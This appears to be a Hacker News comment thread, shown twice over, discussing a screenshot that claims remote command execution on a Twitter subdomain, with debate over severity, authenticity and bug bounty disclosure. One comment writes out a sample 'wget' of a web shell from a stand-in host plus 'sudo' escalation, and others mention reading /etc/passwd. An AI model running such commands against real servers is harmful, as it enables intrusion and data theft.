5 ms·

Go home Twitter, you're drunk

211 points by thefreeman 12y ago

gggggggg 12y ago
anyone care to let me know just why this is so bad? i.e. does it really matter?
- Rygu 12y ago
  Seems that he was able to execute the "uptime" terminal command via that URL, and the output was served as page content. Now imagine what other dangerous terminal commands he could run.
- xamolxix 12y ago
  He seems to be executing the "uptime" command. If that is not the only one he can (which most likely it isn't) it's bad.
- ricANNArdo 12y ago
  Remote code execution e.g. he can also execute 'wget http://bad.php.script/shell.php' http://bad.php.script/shell.php' for planting shell or 'sudo <command>' for priviledge execution (up to root). So pretty much everything you can do on their Twitter servers.
  - VLM 12y ago
    Another "fun" thing to do is if the hosted data is just sitting there, wget a browser exploit file on top of it. This is probably not a serious concern for a place as huge as twitter because they're going to CDN static content separately from dynamic content, but would be really exciting for "I got me one server for my whole startup" types. Maybe you could bypass existing systems to serve up malicious code to end users anyway.
  - icebraining 12y ago
    'sudo <command>' for priviledge execution Well, I hope it's not too much to expect the webserver user not to have sudo permissions.
- RyanZAG 12y ago
  It's a standard remote code execution exploit. It's as bad as it gets in security vulnerabilities. He is running shell commands through the Twitter server - the 'uptime' command is just a demo. He could also access privates files and possibly gain access to secure data that would let him access all data stored on Twitter servers, etc. He could also alter the twitter code to display anything he wanted to twitter users.
  - xamolxix 12y ago
    > He could also alter the twitter code to display anything he wanted to twitter users. Maybe, maybe not, depending on the web server's permissions. Also it seems to be a subdomain which may not have the main twitter code. It's still pretty bad and embarrassing.
    - Argorak 12y ago
      > Maybe, maybe not, depending on the web server's permissions. Also it seems to be a subdomain which may not have the main twitter code. Subdomains can run on the same server. Also, the code is uninteresting, data usually is. Also, higher permissions are just one OS exploit away. As with many exploits, it's a stepping stone, but a big one. The combination matters.
- deleted 12y ago
  [deleted]
- Argorak 12y ago
  This is a remote code execution, allowing attackers to run commands of their choice on the server with the user and privileges of the webserver. Now, if one of the following is true (and thats quite common): * The webserver has access to sensitive data * The operating system has a bug that allows getting higher privileges as an unprivileged user without credentials The machine is hacked and broken. (either the sensitive data can be extracted or the machine can be reconfigured) This is why remote code execution is rated very high as a vulnerability. A common way to prove this is by running a command that doesn't do any direct harm. uptime is quite usual, reading /etc/passwd is also quite usual.
  - gatehouse 12y ago
    I'm not sure about the mechanics of this, but at a minimum the webserver probably has access to the HTTPS private key for the subdomain, or at least has it in memory, since the request is shown to be running over HTTPS.
    - Argorak 12y ago
      Reading the memory of another process is not allowed on modern OS for precisely that reason, so this would be another exploit. (http://en.wikipedia.org/wiki/Process_isolation http://en.wikipedia.org/wiki/Process_isolation) But the keys are most likely on disk, readable by the server ;). Also, some setups are not prone to this: Twitter most likely uses an proxy terminating SSL and then forwards the request to a smaller webserver running the app. This one will not hold the keys. Most larger webservers can also run the app workers with a different user than the webserver itself.
      - sheetjs 12y ago
        > Twitter most likely uses an proxy terminating SSL https://en.wikipedia.org/wiki/SSL_termination_proxy https://en.wikipedia.org/wiki/SSL_termination_proxy
      - Ded7xSEoPKYNsDd 12y ago
        All web servers I've seen open the key files before dropping root privileges. These should never be readable by anything but root.
- nraynaud 12y ago
  it took me some time to understand that he remotely executed a command and had chosen "uptime", and it's not an uptime web page.
kodisha 12y ago
i hope that twitter has 24/7 team to respond to this.
- swartkrans 12y ago
  I wonder if he's actually qualified for any bug bounty given the public announcement, even with the dangerous parts blacked out.
  - chavesn 12y ago
    Probably not; seems to me like a pretty dumb thing to do if he wanted any bounty. The domain is nearly as dangerous as the URL, since it leads attackers directly to the vulnerable server(s).
  - damian2000 12y ago
    Terms of their bug bounty program just says "You may not publicly disclose the vulnerability prior to our resolution" ... https://hackerone.com/twitter https://hackerone.com/twitter
pronik 12y ago
A stupid 1am question: is it common among ops teams to replace these "common" binaries by a honeypot-like wrapper which notifies the security team immediately, just in case of a complete meltdown on the web developer side?
- chavesn 12y ago
  Sorry, I don't have an answer to your question, but in theory, how would it detect an intrusion for automatic notification? It seems to me that detecting a bad operation from a good operation is the same thing as securing the system. A vulnerability would likely sail past any such notification system.
  - pronik 12y ago
    A naive approach could be defining that the software stack to use is under /opt/twitter/ and everything under /usr/bin/ and /bin/ is just a honeypot, so any legitimate developer using those would also trigger a notification. But anyhow, it smells like overkill, the wrong place and not worth the extra mileage. The only case I can think of where this would be useful is when management or timing problems prevent proper and secure development -- which is not a problem ops should solve. Would still be interesting if someone actually does this.
    - nknighthb 12y ago
      Well, it would shield against simplistic attempts at exploiting setuid binaries, certainly, but beyond that its effectiveness would probably be limited, especially as it became more widely known. Another interesting strategy, particularly in the age of widespread use of VMs and containers, might be to extend the basic idea of ASLR beyond address space. Randomize paths and filenames and system call numbers, for example. You'd need to build all your binaries yourself, of course, and run scripts through some sort of mangler (for maximum effectiveness, do this per-VM/container). You'd want to encrypt non-user-visible strings, too. There'd be a lot of tooling work necessary to make this practical in the real world, of course. (Edit: Just found this, which looks relevant: http://research.microsoft.com/en-us/um/people/helenw/papers/randsys.pdf http://research.microsoft.com/en-us/um/people/helenw/papers/... )
homm88 12y ago
<__>: it's fake <__>: the SSL seal is missing <__>: it's a javascript edit <__>: open a https site in firefox and look at the addressbar <__>: sec <__>: yeah <__>: it DOESN'T appear if you used a javascript hack to make it go away <__>: and changed the page
- quink 12y ago
  I guess it's possible that the URL behind the black bar doesn't match the actual URL used for the exploit - further obscuring. It might be too easily guessable if it's short, no matter the censorship. And editing the URL would make the seal look like the above. Sure, it's fake, but there's a not too unreasonable explanation as to why it might not be fake fake and why he'd have made that mistake and thought it not to be relevant enough (or just didn't notice) for the central authenticity of the claim to be challenged. It's absolutely possible it's fake. But it's also yet possible that it's not.
- cdcarter 12y ago
  Doesn't even need to be a javascript replace. $ uptime > blah $ open blah Change the address bar. Screenshot.
- geofft 12y ago
  It also doesn't look like the standard Linux uptime command, which uses "load average", singular. The BSDs, including OS X, say "load averages"... does Twitter run FreeBSD, or is this copied-and-pasted from an OS X client machine?
  - mmmooo 12y ago
    nice catch, I definitely think that would be the nail in this coffin.
  - krschultz 12y ago
    I thought Netflix used FreeBSD? https://www.freebsdfoundation.org/testimonials https://www.freebsdfoundation.org/testimonials
hackerthenews 12y ago
Has this confirmed to be real? Seems somewhat trivial of an exploit for such a large company (url-based RCE)?
l33tbro 12y ago
I'm not convinced. Anyone could do this "hack" with MS Paint. If it were real, then surely the proof would manifest with some kind of change of the Twitter interface.
kentosi 12y ago
Sorry but could someone please explain to me what the joke is about? I don't get what's going on, and cards.twitter.com throws an error page saying that the site is down :-(

211 points by thefreeman 12y ago

gggggggg 12y ago

anyone care to let me know just why this is so bad? i.e. does it really matter?

Rygu 12y ago
Seems that he was able to execute the "uptime" terminal command via that URL, and the output was served as page content. Now imagine what other dangerous terminal commands he could run.
xamolxix 12y ago
He seems to be executing the "uptime" command. If that is not the only one he can (which most likely it isn't) it's bad.
ricANNArdo 12y ago
Remote code execution e.g. he can also execute 'wget http://bad.php.script/shell.php' http://bad.php.script/shell.php' for planting shell or 'sudo <command>' for priviledge execution (up to root). So pretty much everything you can do on their Twitter servers.
- VLM 12y ago
  Another "fun" thing to do is if the hosted data is just sitting there, wget a browser exploit file on top of it. This is probably not a serious concern for a place as huge as twitter because they're going to CDN static content separately from dynamic content, but would be really exciting for "I got me one server for my whole startup" types. Maybe you could bypass existing systems to serve up malicious code to end users anyway.
- icebraining 12y ago
  'sudo <command>' for priviledge execution Well, I hope it's not too much to expect the webserver user not to have sudo permissions.
RyanZAG 12y ago
It's a standard remote code execution exploit. It's as bad as it gets in security vulnerabilities. He is running shell commands through the Twitter server - the 'uptime' command is just a demo. He could also access privates files and possibly gain access to secure data that would let him access all data stored on Twitter servers, etc. He could also alter the twitter code to display anything he wanted to twitter users.
- xamolxix 12y ago
  > He could also alter the twitter code to display anything he wanted to twitter users. Maybe, maybe not, depending on the web server's permissions. Also it seems to be a subdomain which may not have the main twitter code. It's still pretty bad and embarrassing.
  - Argorak 12y ago
    > Maybe, maybe not, depending on the web server's permissions. Also it seems to be a subdomain which may not have the main twitter code. Subdomains can run on the same server. Also, the code is uninteresting, data usually is. Also, higher permissions are just one OS exploit away. As with many exploits, it's a stepping stone, but a big one. The combination matters.
deleted 12y ago
[deleted]
Argorak 12y ago
This is a remote code execution, allowing attackers to run commands of their choice on the server with the user and privileges of the webserver. Now, if one of the following is true (and thats quite common): * The webserver has access to sensitive data * The operating system has a bug that allows getting higher privileges as an unprivileged user without credentials The machine is hacked and broken. (either the sensitive data can be extracted or the machine can be reconfigured) This is why remote code execution is rated very high as a vulnerability. A common way to prove this is by running a command that doesn't do any direct harm. uptime is quite usual, reading /etc/passwd is also quite usual.
- gatehouse 12y ago
  I'm not sure about the mechanics of this, but at a minimum the webserver probably has access to the HTTPS private key for the subdomain, or at least has it in memory, since the request is shown to be running over HTTPS.
  - Argorak 12y ago
    Reading the memory of another process is not allowed on modern OS for precisely that reason, so this would be another exploit. (http://en.wikipedia.org/wiki/Process_isolation http://en.wikipedia.org/wiki/Process_isolation) But the keys are most likely on disk, readable by the server ;). Also, some setups are not prone to this: Twitter most likely uses an proxy terminating SSL and then forwards the request to a smaller webserver running the app. This one will not hold the keys. Most larger webservers can also run the app workers with a different user than the webserver itself.
    - sheetjs 12y ago
      > Twitter most likely uses an proxy terminating SSL https://en.wikipedia.org/wiki/SSL_termination_proxy https://en.wikipedia.org/wiki/SSL_termination_proxy
    - Ded7xSEoPKYNsDd 12y ago
      All web servers I've seen open the key files before dropping root privileges. These should never be readable by anything but root.
nraynaud 12y ago
it took me some time to understand that he remotely executed a command and had chosen "uptime", and it's not an uptime web page.

kodisha 12y ago

i hope that twitter has 24/7 team to respond to this.

swartkrans 12y ago
I wonder if he's actually qualified for any bug bounty given the public announcement, even with the dangerous parts blacked out.
- chavesn 12y ago
  Probably not; seems to me like a pretty dumb thing to do if he wanted any bounty. The domain is nearly as dangerous as the URL, since it leads attackers directly to the vulnerable server(s).
- damian2000 12y ago
  Terms of their bug bounty program just says "You may not publicly disclose the vulnerability prior to our resolution" ... https://hackerone.com/twitter https://hackerone.com/twitter

pronik 12y ago

A stupid 1am question: is it common among ops teams to replace these "common" binaries by a honeypot-like wrapper which notifies the security team immediately, just in case of a complete meltdown on the web developer side?

chavesn 12y ago
Sorry, I don't have an answer to your question, but in theory, how would it detect an intrusion for automatic notification? It seems to me that detecting a bad operation from a good operation is the same thing as securing the system. A vulnerability would likely sail past any such notification system.
- pronik 12y ago
  A naive approach could be defining that the software stack to use is under /opt/twitter/ and everything under /usr/bin/ and /bin/ is just a honeypot, so any legitimate developer using those would also trigger a notification. But anyhow, it smells like overkill, the wrong place and not worth the extra mileage. The only case I can think of where this would be useful is when management or timing problems prevent proper and secure development -- which is not a problem ops should solve. Would still be interesting if someone actually does this.
  - nknighthb 12y ago
    Well, it would shield against simplistic attempts at exploiting setuid binaries, certainly, but beyond that its effectiveness would probably be limited, especially as it became more widely known. Another interesting strategy, particularly in the age of widespread use of VMs and containers, might be to extend the basic idea of ASLR beyond address space. Randomize paths and filenames and system call numbers, for example. You'd need to build all your binaries yourself, of course, and run scripts through some sort of mangler (for maximum effectiveness, do this per-VM/container). You'd want to encrypt non-user-visible strings, too. There'd be a lot of tooling work necessary to make this practical in the real world, of course. (Edit: Just found this, which looks relevant: http://research.microsoft.com/en-us/um/people/helenw/papers/randsys.pdf http://research.microsoft.com/en-us/um/people/helenw/papers/... )

homm88 12y ago

<__>: it's fake <__>: the SSL seal is missing <__>: it's a javascript edit <__>: open a https site in firefox and look at the addressbar <__>: sec <__>: yeah <__>: it DOESN'T appear if you used a javascript hack to make it go away <__>: and changed the page

quink 12y ago
I guess it's possible that the URL behind the black bar doesn't match the actual URL used for the exploit - further obscuring. It might be too easily guessable if it's short, no matter the censorship. And editing the URL would make the seal look like the above. Sure, it's fake, but there's a not too unreasonable explanation as to why it might not be fake fake and why he'd have made that mistake and thought it not to be relevant enough (or just didn't notice) for the central authenticity of the claim to be challenged. It's absolutely possible it's fake. But it's also yet possible that it's not.
cdcarter 12y ago
Doesn't even need to be a javascript replace. $ uptime > blah $ open blah Change the address bar. Screenshot.
geofft 12y ago
It also doesn't look like the standard Linux uptime command, which uses "load average", singular. The BSDs, including OS X, say "load averages"... does Twitter run FreeBSD, or is this copied-and-pasted from an OS X client machine?
- mmmooo 12y ago
  nice catch, I definitely think that would be the nail in this coffin.
- krschultz 12y ago
  I thought Netflix used FreeBSD? https://www.freebsdfoundation.org/testimonials https://www.freebsdfoundation.org/testimonials

hackerthenews 12y ago

Has this confirmed to be real? Seems somewhat trivial of an exploit for such a large company (url-based RCE)?

l33tbro 12y ago

I'm not convinced. Anyone could do this "hack" with MS Paint. If it were real, then surely the proof would manifest with some kind of change of the Twitter interface.

kentosi 12y ago

Sorry but could someone please explain to me what the joke is about? I don't get what's going on, and cards.twitter.com throws an error page saying that the site is down :-(